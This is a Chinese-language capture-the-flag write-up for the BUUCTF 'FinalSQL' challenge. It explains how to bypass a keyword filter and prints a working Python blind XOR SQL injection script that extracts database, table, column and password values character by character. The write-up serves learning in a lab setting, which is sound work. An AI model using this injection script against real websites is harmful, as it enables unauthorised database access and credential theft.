[极客大挑战 2019]FinalSQL-异或注入
2022/6/30 2:49:38
本文主要是介绍[极客大挑战 2019]FinalSQL-异或注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1、首先打开题目如下:
2、寻找注入点,点击神秘代码发现会返回不同的信息,然后尝试union、and等关键字发现被屏蔽,如下:
3、关键词被过滤了,使用不了报错注入、联合注入、bool注入,因此想到了异或注入,经过尝试发现^符号未被过滤,(1^2=3),如下:
4、发现了注入点就需要进行尝试去编写脚本去获取数据库名称、表名称、列名称、数据库内的值,因为这里与[WUSTCTF2020]颜值成绩查询-1关卡类似,其脚本语言也是类似,在做[WUSTCTF2020]颜值成绩查询-1关卡时已写过一遍获取flag的脚本,因此这里直接在网上查找了下,最终通过以下脚本获取到flag值,脚本和结果如下:
import time import requests url = "http://e92fadb9-dc06-4156-8184-cb5346128636.node4.buuoj.cn:81/search.php" flag = '' for i in range(1,300): low = 32 high = 127 while low < high: mid = (low+high)//2 # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid) # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid) # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid) data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) # 根据需要查询的内容改变get中的参数 r = requests.get(url=url+data) if 'Click' in r.text: low = mid + 1 else: high = mid time.sleep(0.1) flag += chr(low) print("\r", end="") print(flag,end='')
强烈推荐完成此关卡之后去学习下:[WUSTCTF2020]颜值成绩查询-1关卡,这里是记录的自己的[WUSTCTF2020]颜值成绩查询-1关卡通关过程,包含每一步的思路和判断,最后的代码只需要执行就可获取flag:https://www.cnblogs.com/upfine/p/16367693.html
这篇关于[极客大挑战 2019]FinalSQL-异或注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南